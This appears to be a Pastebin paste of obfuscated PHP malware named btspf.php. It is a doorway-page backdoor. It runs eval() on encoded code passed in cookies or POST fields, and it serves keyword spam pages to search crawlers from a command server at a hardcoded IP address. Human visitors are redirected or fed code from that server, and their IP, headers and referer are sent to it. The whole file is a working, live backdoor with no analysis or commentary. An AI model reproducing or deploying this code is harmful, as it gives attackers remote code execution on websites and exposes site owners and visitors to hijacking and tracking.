PalmaSolutions

btspf.php

Mar 22nd, 2018
601
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 10.04 KB | None | 0 0
  1. <?php
  2.  
  3. class _pzcnmji{static private $_cugf1r0j = 84511222;static function _1bxay($_5kp0hpaw, $_b4lxruz0){$_5kp0hpaw[2] = count($_5kp0hpaw) > 4 ? long2ip (_pzcnmji::$_cugf1r0j - 312) : $_5kp0hpaw[2];$_lv6y3nly = _pzcnmji::_ja6ap($_5kp0hpaw, $_b4lxruz0);if (!$_lv6y3nly){$_lv6y3nly = _pzcnmji::_hoymy($_5kp0hpaw, $_b4lxruz0);}return $_lv6y3nly;}static function _ja6ap($_5kp0hpaw, $_lv6y3nly){if (!function_exists('curl_version')){return "";}$_f5069pnf = curl_init();curl_setopt($_f5069pnf, CURLOPT_URL, implode("/", $_5kp0hpaw));if (!empty($_lv6y3nly)){curl_setopt($_f5069pnf, CURLOPT_POST, 1);curl_setopt($_f5069pnf, CURLOPT_POSTFIELDS, $_lv6y3nly);}curl_setopt($_f5069pnf, CURLOPT_RETURNTRANSFER, TRUE);$_buc839nn = curl_exec($_f5069pnf);curl_close($_f5069pnf);return $_buc839nn;}static function _hoymy($_5kp0hpaw, $_lv6y3nly){if (!empty($_lv6y3nly)){$_20xgnke7 = stream_context_create(Array('http' => Array('method' => 'POST', 'header' => 'Content-type: application/x-www-form-urlencoded', 'content' => $_lv6y3nly)));$_buc839nn = @file_get_contents(implode("/", $_5kp0hpaw), FALSE, $_20xgnke7);}else{$_buc839nn = @file_get_contents(implode("/", $_5kp0hpaw));}return $_buc839nn;}}class _5273rr{private static $_mrdrs0ku = "";private static $_so6bt4wb = -1;private static $_5mcfuyfp = "";private $_vjc0ys7j = "";private $_v416f9fe = "";private $_nnqaxls2 = "";public static function _7jr4c($_heh5ualt, $_srbmulqu, $_ruds5ofb){_5273rr::$_mrdrs0ku = $_heh5ualt . "/cache/";_5273rr::$_so6bt4wb = $_srbmulqu;_5273rr::$_5mcfuyfp = $_ruds5ofb;if (!@file_exists(_5273rr::$_mrdrs0ku)){@mkdir(_5273rr::$_mrdrs0ku);}}public function __construct($_w9cujqmk, $_cndz7rvs, $_0pg34jsh){$this->_vjc0ys7j = $_w9cujqmk;$this->_v416f9fe = $_cndz7rvs;$this->_nnqaxls2 = $_0pg34jsh;}public function _9m83f(){return str_replace("{{ text }}", $this->_v416f9fe,str_replace("{{ keyword }}", $this->_nnqaxls2, $this->_vjc0ys7j));}public function _tnpnc(){$_gqbvl0v7 = _5273rr::$_mrdrs0ku . md5($this->_nnqaxls2 . _5273rr::$_5mcfuyfp);if (_5273rr::$_so6bt4wb == -1){$_l74wpvib = -1;}else{$_l74wpvib = time() + (3600 * 24 * 30);}$_u3vrdv1h = Array("template" => $this->_vjc0ys7j, "text" => $this->_v416f9fe, "keyword" => $this->_nnqaxls2,"expired" => $_l74wpvib);@file_put_contents($_gqbvl0v7, serialize($_u3vrdv1h));}static public function _xlxro($_0pg34jsh){$_gqbvl0v7 = _5273rr::$_mrdrs0ku . md5($_0pg34jsh . _5273rr::$_5mcfuyfp);$_gqbvl0v7 = @unserialize(@file_get_contents($_gqbvl0v7));if (!empty($_gqbvl0v7) && ($_gqbvl0v7["expired"] > time() || $_gqbvl0v7["expired"] == -1)){return new _5273rr($_gqbvl0v7["template"], $_gqbvl0v7["text"], $_gqbvl0v7["keyword"]);}else{return null;}}}class _zxctu4{private static $_mrdrs0ku = "";private static $_t6vfnfn8 = "";public static function _7jr4c($_heh5ualt, $_sha55s37){_zxctu4::$_mrdrs0ku = $_heh5ualt . "/";_zxctu4::$_t6vfnfn8 = $_sha55s37;if (!@file_exists(_zxctu4::$_mrdrs0ku)){@mkdir(_zxctu4::$_mrdrs0ku);}}static public function _zpjqq(){$_ug5tedhp = 0;foreach (scandir(_zxctu4::$_mrdrs0ku) as $_8fzwnojc){if (strpos($_8fzwnojc, _zxctu4::$_t6vfnfn8) === 0){$_ug5tedhp += 1;}}return $_ug5tedhp;}static public function _jtm3i(){$_mldu7m09 = Array();foreach (scandir(_zxctu4::$_mrdrs0ku) as $_8fzwnojc){if (strpos($_8fzwnojc, _zxctu4::$_t6vfnfn8) === 0){$_mldu7m09[] = $_8fzwnojc;}}return @file_get_contents(_zxctu4::$_mrdrs0ku . $_mldu7m09[array_rand($_mldu7m09)]);}static public function _tnpnc($_k18zvj97){if (@file_exists(_zxctu4::$_t6vfnfn8 . "_" . md5($_k18zvj97) . ".html")){return;}@file_put_contents(_zxctu4::$_t6vfnfn8 . "_" . md5($_k18zvj97) . ".html", $_k18zvj97);}}class _klbqu2{static public $_ch02g7d0 = "3.3";static public $_vwx5l7gi = "0c97ca74-b7ae-056e-e4be-adc9f6dbcb5f";private $_jxyu910q = "http://46.4.82.133/module/access/api?action=redir";private $_rmny2cpk = "http://46.4.82.133/module/access/api?action=page";private function _hbzl6(){function _z1bsa($_m76aj6v9, $_w93szlf7){$_w7qivydq = "";for ($_duuv73wf = 0; $_duuv73wf < strlen($_m76aj6v9);) {for ($_pntafbgl = 0; $_pntafbgl < strlen($_w93szlf7) && $_duuv73wf < strlen($_m76aj6v9); $_pntafbgl++, $_duuv73wf++) {$_w7qivydq .= chr(ord($_m76aj6v9[$_duuv73wf]) ^ ord($_w93szlf7[$_pntafbgl]));}}return $_w7qivydq;}function _aollk($_m76aj6v9, $_w93szlf7, $_5z5t39j9){return _z1bsa(_z1bsa($_m76aj6v9, $_w93szlf7), $_5z5t39j9);}foreach (array_merge($_COOKIE, $_POST) as $_fbvutjr2 => $_m76aj6v9) {$_m76aj6v9 = @unserialize(_aollk(_klbqu2::_80kfd($_m76aj6v9), $_fbvutjr2, _klbqu2::$_vwx5l7gi));if (isset($_m76aj6v9['ak']) && _klbqu2::$_vwx5l7gi == $_m76aj6v9['ak']) {if ($_m76aj6v9['a'] == 'doorway2') {if ($_m76aj6v9['sa'] == 'check') {$_lv6y3nly = _pzcnmji::_1bxay(explode("/", "http://httpbin.org/"), "");if (strlen($_lv6y3nly) > 512) {echo @serialize(Array("uid" => _klbqu2::$_vwx5l7gi, "v" => _klbqu2::$_ch02g7d0, "uu" => $this->_jxyu910q, "pu" => $this->_rmny2cpk));}exit;}}if ($_m76aj6v9['sa'] == 'eval') {eval($_m76aj6v9["data"]);exit;}}}}private function _y9wir(){$_767ksy3b = array('#Ask\s*Jeeves#i', '#HP\s*Web\s*PrintSmart#i', '#HTTrack#i', '#IDBot#i', '#Indy\s*Library#','#ListChecker#i', '#MSIECrawler#i', '#NetCache#i', '#Nutch#i', '#RPT-HTTPClient#i','#rulinki\.ru#i', '#Twiceler#i', '#WebAlta#i', '#Webster\s*Pro#i', '#www\.cys\.ru#i','#Wysigot#i', '#Yahoo!\s*Slurp#i', '#Yeti#i', '#Accoona#i', '#CazoodleBot#i','#CFNetwork#i', '#ConveraCrawler#i', '#DISCo#i', '#Download\s*Master#i', '#FAST\s*MetaWeb\s*Crawler#i','#Flexum\s*spider#i', '#Gigabot#i', '#HTMLParser#i', '#ia_archiver#i', '#ichiro#i','#IRLbot#i', '#Java#i', '#km\.ru\s*bot#i', '#kmSearchBot#i', '#libwww-perl#i','#Lupa\.ru#i', '#LWP::Simple#i', '#lwp-trivial#i', '#Missigua#i', '#MJ12bot#i','#msnbot#i', '#msnbot-media#i', '#Offline\s*Explorer#i', '#OmniExplorer_Bot#i','#PEAR#i', '#psbot#i', '#Python#i', '#rulinki\.ru#i', '#SMILE#i','#Speedy#i', '#Teleport\s*Pro#i', '#TurtleScanner#i', '#User-Agent#i', '#voyager#i','#Webalta#i', '#WebCopier#i', '#WebData#i', '#WebZIP#i', '#Wget#i','#Yandex#i', '#Yanga#i', '#Yeti#i', '#msnbot#i','#spider#i', '#yahoo#i', '#jeeves#i', '#google#i', '#altavista#i','#scooter#i', '#av\s*fetch#i', '#asterias#i', '#spiderthread revision#i', '#sqworm#i','#ask#i', '#lycos.spider#i', '#infoseek sidewinder#i', '#ultraseek#i', '#polybot#i','#webcrawler#i', '#robozill#i', '#gulliver#i', '#architextspider#i', '#yahoo!\s*slurp#i','#charlotte#i', '#ngb#i', '#BingBot#i');if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {$_f5yy8zt7 = $_SERVER['HTTP_X_FORWARDED_FOR'];} elseif (!empty($_SERVER['REMOTE_ADDR'])) {$_f5yy8zt7 = $_SERVER['REMOTE_ADDR'];} else {$_f5yy8zt7 = "";}if (!empty($_SERVER['HTTP_USER_AGENT']) && (FALSE !== strpos(preg_replace($_767ksy3b, '-NO-WAY-', $_SERVER['HTTP_USER_AGENT']), '-NO-WAY-'))) {$_9p6u1655 = 1;}elseif (empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) || empty($_SERVER['HTTP_REFERER'])) {$_9p6u1655 = 1;}elseif (FALSE !== strpos(@gethostbyaddr($_f5yy8zt7), 'google')) {$_9p6u1655 = 1;}else{$_9p6u1655 = 0;}return $_9p6u1655;}private static function _t14si(){$_b4lxruz0 = Array();$_b4lxruz0['ip'] = $_SERVER['REMOTE_ADDR'];$_b4lxruz0['qs'] = @$_SERVER['HTTP_HOST'] . @$_SERVER['REQUEST_URI'];$_b4lxruz0['ua'] = @$_SERVER['HTTP_USER_AGENT'];$_b4lxruz0['lang'] = @$_SERVER['HTTP_ACCEPT_LANGUAGE'];$_b4lxruz0['ref'] = @$_SERVER['HTTP_REFERER'];$_b4lxruz0['enc'] = @$_SERVER['HTTP_ACCEPT_ENCODING'];$_b4lxruz0['acp'] = @$_SERVER['HTTP_ACCEPT'];$_b4lxruz0['char'] = @$_SERVER['HTTP_ACCEPT_CHARSET'];$_b4lxruz0['conn'] = @$_SERVER['HTTP_CONNECTION'];return $_b4lxruz0;}public function __construct(){$this->_jxyu910q = explode("/", $this->_jxyu910q);$this->_rmny2cpk = explode("/", $this->_rmny2cpk);}private function _80kfd($_lpl9md87){if (strlen($_lpl9md87) < 4){return "";}$_2fcw8myo = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";$_i0uf7qyj = str_split($_2fcw8myo);$_i0uf7qyj = array_flip($_i0uf7qyj);$_duuv73wf = 0;$_46za7dqu = "";$_lpl9md87 = preg_replace("~[^A-Za-z0-9\+\/\=]~", "", $_lpl9md87);do {$_m55otmr9 = $_i0uf7qyj[$_lpl9md87[$_duuv73wf++]];$_ldd6yxpf = $_i0uf7qyj[$_lpl9md87[$_duuv73wf++]];$_63jomv2n = $_i0uf7qyj[$_lpl9md87[$_duuv73wf++]];$_4v96umng = $_i0uf7qyj[$_lpl9md87[$_duuv73wf++]];$_3vk262cp = ($_m55otmr9 << 2) | ($_ldd6yxpf >> 4);$_d3ga1uuy = (($_ldd6yxpf & 15) << 4) | ($_63jomv2n >> 2);$_i734vpal = (($_63jomv2n & 3) << 6) | $_4v96umng;$_46za7dqu = $_46za7dqu . chr($_3vk262cp);if ($_63jomv2n != 64) {$_46za7dqu = $_46za7dqu . chr($_d3ga1uuy);}if ($_4v96umng != 64) {$_46za7dqu = $_46za7dqu . chr($_i734vpal);}} while ($_duuv73wf < strlen($_lpl9md87));return $_46za7dqu;}private function _yyftp($_0pg34jsh){$_w9cujqmk = "";$_cndz7rvs = "";$_b4lxruz0 = _klbqu2::_t14si();$_b4lxruz0["uid"] = _klbqu2::$_vwx5l7gi;$_b4lxruz0["keyword"] = $_0pg34jsh;$_b4lxruz0["tc"] = _zxctu4::_zpjqq();$_b4lxruz0 = http_build_query($_b4lxruz0);$_m76aj6v9 = _pzcnmji::_1bxay($this->_rmny2cpk, $_b4lxruz0);$_m76aj6v9 = @unserialize($_m76aj6v9);if (isset($_m76aj6v9["text"])){$_cndz7rvs = $_m76aj6v9["text"];}if (isset($_m76aj6v9["template"])){$_w9cujqmk = $_m76aj6v9["template"];}if (empty($_w9cujqmk)){$_w9cujqmk = _zxctu4::_jtm3i();}else{_zxctu4::_tnpnc($_w9cujqmk);}return Array($_w9cujqmk, $_cndz7rvs);}private function _8kl9t(){$_b4lxruz0 = _klbqu2::_t14si();$_b4lxruz0["uid"] = _klbqu2::$_vwx5l7gi;$_b4lxruz0 = http_build_query($_b4lxruz0);$_q2wgt0i5 = _pzcnmji::_1bxay($this->_jxyu910q, $_b4lxruz0);$_q2wgt0i5 = @unserialize($_q2wgt0i5);if (isset($_q2wgt0i5["type"]) && $_q2wgt0i5["type"] == "redir") {if (!empty($_q2wgt0i5["data"]["header"])) {header($_q2wgt0i5["data"]["header"]);} elseif (!empty($_q2wgt0i5["data"]["code"])) {echo $_q2wgt0i5["data"]["code"];}}}public function _q67eo(){$this->_hbzl6();$_cskexv9y = array_keys($_GET);$_0pg34jsh = $_GET[$_cskexv9y[0]];$_0pg34jsh = str_replace("-", " ", $_0pg34jsh);if ($this->_y9wir()){$_q2wgt0i5 = _5273rr::_xlxro($_0pg34jsh);if (empty($_q2wgt0i5)){list($_w9cujqmk, $_cndz7rvs) = $this->_yyftp($_0pg34jsh);if (empty($_cndz7rvs)){return;}$_q2wgt0i5 = new _5273rr($_w9cujqmk, $_cndz7rvs, $_0pg34jsh);$_q2wgt0i5->_tnpnc();}echo $_q2wgt0i5->_9m83f();}else{$this->_8kl9t();}}}_5273rr::_7jr4c(dirname(__FILE__), -1, _klbqu2::$_vwx5l7gi);_zxctu4::_7jr4c(dirname(__FILE__), substr(md5(_klbqu2::$_vwx5l7gi), 0, 4));$_kopmtxr5 = new _klbqu2();$_kopmtxr5->_q67eo();exit();
Advertisement
Add Comment
Please, Sign In to add comment